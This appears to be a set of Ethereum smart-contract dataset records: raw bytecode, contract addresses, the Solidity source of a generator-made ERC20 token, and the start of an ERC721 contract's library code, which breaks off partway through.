0x60806040526004361061012f5763ffffffff60e060020a60003504166301ffc9a7811461013457806306fdde031461016a578063081812fc146101f4578063095ea7b31461022857806318160ddd1461024e57806319fa8f501461027557806323b872dd146102a75780632f745c59146102d157806342842e0e146102f557806342966c681461031f5780634f558e79146103375780634f6ccce71461034f5780636352211e1461036757806370a082311461037f578063715018a6146103a05780637a5b4f59146103b55780638da5cb5b146103ca57806395d89b41146103df578063a22cb465146103f4578063adf2cead1461041a578063b88d4fde14610432578063c5e2a7db146104a1578063c87b56dd146104c2578063e985e9c5146104da578063f2fde38b14610501575b600080fd5b34801561014057600080fd5b50610156600160e060020a031960043516610522565b604080519115158252519081900360200190f35b34801561017657600080fd5b5061017f610541565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101b95781810151838201526020016101a1565b50505050905090810190601f1680156101e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020057600080fd5b5061020c6004356105d8565b60408051600160a060020a039092168252519081900360200190f35b34801561023457600080fd5b5061024c600160a060020a03600435166024356105f3565b005b34801561025a57600080fd5b5061026361069c565b60408051918252519081900360200190f35b34801561028157600080fd5b5061028a6106a2565b60408051600160e060020a03199092168252519081900360200190f35b3480156102b357600080fd5b5061024c600160a060020a03600435811690602435166044356106c6565b3480156102dd57600080fd5b50610263600160a060020a0360043516602435610769565b34801561030157600080fd5b5061024c600160a060020a03600435811690602435166044356107b6565b34801561032b57600080fd5b5061024c6004356107d7565b34801561034357600080fd5b50610156600435610885565b34801561035b57600080fd5b506102636004356108a2565b34801561037357600080fd5b5061020c6004356108d7565b34801561038b57600080fd5b50610263600160a060020a0360043516610901565b3480156103ac57600080fd5b5061024c610934565b3480156103c157600080fd5b5061020c610995565b3480156103d657600080fd5b5061020c6109a4565b3480156103eb57600080fd5b5061017f6109b3565b34801561040057600080fd5b5061024c600160a060020a03600435166024351515610a14565b34801561042657600080fd5b5061024c600435610a98565b34801561043e57600080fd5b50604080516020601f60643560048181013592830184900484028501840190955281845261024c94600160a060020a038135811695602480359092169560443595369560849401918190840183828082843750949750610cdc9650505050505050565b3480156104ad57600080fd5b5061024c600160a060020a0360043516610cfe565b3480156104ce57600080fd5b5061017f600435610d37565b3480156104e657600080fd5b50610156600160a060020a0360043581169060243516610da1565b34801561050d57600080fd5b5061024c600160a060020a0360043516610dcf565b600160e060020a03191660009081526020819052604090205460ff1690565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105cd5780601f106105a2576101008083540402835291602001916105cd565b820191906000526020600020905b8154815290600101906020018083116105b057829003601f168201915b505050505090505b90565b600090815260026020526040902054600160a060020a031690565b60006105fe826108d7565b9050600160a060020a03838116908216141561061957600080fd5b33600160a060020a038216148061063557506106358133610da1565b151561064057600080fd5b6000828152600260205260408082208054600160a060020a031916600160a060020a0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b60095490565b7f01ffc9a70000000000000000000000000000000000000000000000000000000081565b6106d03382610df2565b15156106db57600080fd5b600160a060020a03831615156106f057600080fd5b600160a060020a038216151561070557600080fd5b61070f8382610e51565b6107198382610eb5565b6107238282610fbc565b8082600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b600061077483610901565b821061077f57600080fd5b600160a060020a03831660009081526007602052604090208054839081106107a357fe5b9060005260206000200154905092915050565b6107d28383836020604051908101604052806000815250610cdc565b505050565b336107e1826108d7565b600160a060020a0316146107f457600080fd5b6107fe3382611005565b600e54604080517f79ce9fac000000000000000000000000000000000000000000000000000000008152600481018490523360248201529051600160a060020a03909216916379ce9fac9160448082019260009290919082900301818387803b15801561086a57600080fd5b505af115801561087e573d6000803e3d6000fd5b5050505050565b600090815260016020526040902054600160a060020a0316151590565b60006108ac61069c565b82106108b757600080fd5b60098054839081106108c557fe5b90600052602060002001549050919050565b600081815260016020526040812054600160a060020a03168015156108fb57600080fd5b92915050565b6000600160a060020a038216151561091857600080fd5b50600160a060020a031660009081526003602052604090205490565b600c54600160a060020a0316331461094b57600080fd5b600c54604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a2600c8054600160a060020a0319169055565b600d54600160a060020a031690565b600c54600160a060020a031681565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105cd5780601f106105a2576101008083540402835291602001916105cd565b600160a060020a038216331415610a2a57600080fd5b336000818152600460209081526040808320600160a060020a03871680855290835292819020805460ff1916861515908117909155815190815290519293927f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31929181900390910190a35050565b600e54604080517f267b692200000000000000000000000000000000000000000000000000000000815260048101849052905160009283928392600160a060020a039092169163267b69229160248082019260a09290919082900301818787803b158015610b0557600080fd5b505af1158015610b19573d6000803e3d6000fd5b505050506040513d60a0811015610b2f57600080fd5b50602090810151604080517f8da5cb5b00000000000000000000000000000000000000000000000000000000815290519195508594503092600160a060020a03861692638da5cb5b9260048082019392918290030181600087803b158015610b9657600080fd5b505af1158015610baa573d6000803e3d6000fd5b505050506040513d6020811015610bc057600080fd5b5051600160a060020a031614610bd557600080fd5b33600160a060020a031682600160a060020a031663674f220f6040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015610c1d57600080fd5b505af1158015610c31573d6000803e3d6000fd5b505050506040513d6020811015610c4757600080fd5b5051600160a060020a031614610c5c57600080fd5b83600190049050610cd682600160a060020a031663674f220f6040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015610ca457600080fd5b505af1158015610cb8573d6000803e3d6000fd5b505050506040513d6020811015610cce57600080fd5b5051826110ff565b50505050565b610ce78484846106c6565b610cf38484848461114e565b1515610cd657600080fd5b600c54600160a060020a03163314610d1557600080fd5b600d8054600160a060020a031916600160a060020a0392909216919091179055565b606060006060610d45610995565b91506000368080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509050600080825160208401855af43d604051816000823e828015610d9d578282f35b8282fd5b600160a060020a03918216600090815260046020908152604080832093909416825291909152205460ff1690565b600c54600160a060020a03163314610de657600080fd5b610def816112bb565b50565b600080610dfe836108d7565b905080600160a060020a031684600160a060020a03161480610e39575083600160a060020a0316610e2e846105d8565b600160a060020a0316145b80610e495750610e498185610da1565b949350505050565b81600160a060020a0316610e64826108d7565b600160a060020a031614610e7757600080fd5b600081815260026020526040902054600160a060020a031615610eb15760008181526002602052604090208054600160a060020a03191690555b5050565b6000806000610ec4858561132c565b600084815260086020908152604080832054600160a060020a0389168452600790925290912054909350610eff90600163ffffffff6113b516565b600160a060020a038616600090815260076020526040902080549193509083908110610f2757fe5b90600052602060002001549050806007600087600160a060020a0316600160a060020a0316815260200190815260200160002084815481101515610f6757fe5b6000918252602080832090910192909255600160a060020a0387168152600790915260409020805490610f9e90600019830161150a565b50600093845260086020526040808520859055908452909220555050565b6000610fc883836113c7565b50600160a060020a039091166000908152600760209081526040808320805460018101825590845282842081018590559383526008909152902055565b6000806000611014858561144a565b6000848152600b60205260409020546002600019610100600184161502019091160415611052576000848152600b602052604081206110529161152e565b6000848152600a602052604090205460095490935061107890600163ffffffff6113b516565b915060098281548110151561108957fe5b90600052602060002001549050806009848154811015156110a657fe5b600091825260208220019190915560098054849081106110c257fe5b60009182526020909120015560098054906110e190600019830161150a565b506000938452600a6020526040808520859055908452909220555050565b611109828261149a565b600980546000838152600a60205260408120829055600182018355919091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af015550565b60008061116385600160a060020a03166114f5565b151561117257600191506112b2565b6040517f150b7a020000000000000000000000000000000000000000000000000000000081523360048201818152600160a060020a03898116602485015260448401889052608060648501908152875160848601528751918a169463150b7a0294938c938b938b93909160a490910190602085019080838360005b838110156112055781810151838201526020016111ed565b50505050905090810190601f1680156112325780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b15801561125457600080fd5b505af1158015611268573d6000803e3d6000fd5b505050506040513d602081101561127e57600080fd5b5051600160e060020a031981167f150b7a020000000000000000000000000000000000000000000000000000000014925090505b50949350505050565b600160a060020a03811615156112d057600080fd5b600c54604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600c8054600160a060020a031916600160a060020a0392909216919091179055565b81600160a060020a031661133f826108d7565b600160a060020a03161461135257600080fd5b600160a060020a03821660009081526003602052604090205461137c90600163ffffffff6113b516565b600160a060020a039092166000908152600360209081526040808320949094559181526001909152208054600160a060020a0319169055565b6000828211156113c157fe5b50900390565b600081815260016020526040902054600160a060020a0316156113e957600080fd5b60008181526001602081815260408084208054600160a060020a031916600160a060020a038816908117909155845260039091529091205461142a916114fd565b600160a060020a0390921660009081526003602052604090209190915550565b6114548282610e51565b61145e8282610eb5565b6040518190600090600160a060020a038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b600160a060020a03821615156114af57600080fd5b6114b98282610fbc565b6040518190600160a060020a038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6000903b1190565b818101828110156108fb57fe5b8154818355818111156107d2576000838152602090206107d291810190830161156e565b50805460018160011615610100020316600290046000825580601f106115545750610def565b601f016020900490600052602060002090810190610def91905b6105d591905b808211156115885760008155600101611574565b50905600a165627a7a7230582051798965b62facd59694b415172ed8c7e65afa3e4f885dfb287f5026edcfb07a0029
[ 23, 4, 7, 11, 1, 9, 12, 18 ]
0xf290fC28B32862efCe0eACB66F69437390C82324
// SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e99190610846565b60405180910390f35b61010561010036600461081d565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e2565b6102a4565b604051601281526020016100e9565b61010561015736600461081d565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab36600461081d565b6103cf565b6101056101be36600461081d565b61046a565b6101196101d13660046107b0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108c8565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b1565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061034a908690610899565b60606005805461020b906108c8565b60606040518060600160405280602f815260200161091a602f9139905090565b60606004805461020b906108c8565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b1565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b1565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610719908490610899565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a0578081fd5b6107a982610773565b9392505050565b600080604083850312156107c2578081fd5b6107cb83610773565b91506107d960208401610773565b90509250929050565b6000806000606084860312156107f6578081fd5b6107ff84610773565b925061080d60208501610773565b9150604084013590509250925092565b6000806040838503121561082f578182fd5b61083883610773565b946020939093013593505050565b6000602080835283518082850152825b8181101561087257858101830151858201604001528201610856565b818111156108835783604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108ac576108ac610903565b500190565b6000828210156108c3576108c3610903565b500390565b600181811c908216806108dc57607f821691505b602082108114156108fd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a26469706673582212200315b04416bc8583c10593e3cb96b647a898c96162e4c292753f8ea5ec5a123164736f6c63430008040033
[ 38 ]
0xf291383b95115f8ee7c504df162b198bcde24ac9
/** *Submitted for verification at Etherscan.io on 2022-03-12 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } modifier nonReentrant() { require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); _status = _ENTERED; _; _status = _NOT_ENTERED; } } interface IERC721Receiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); 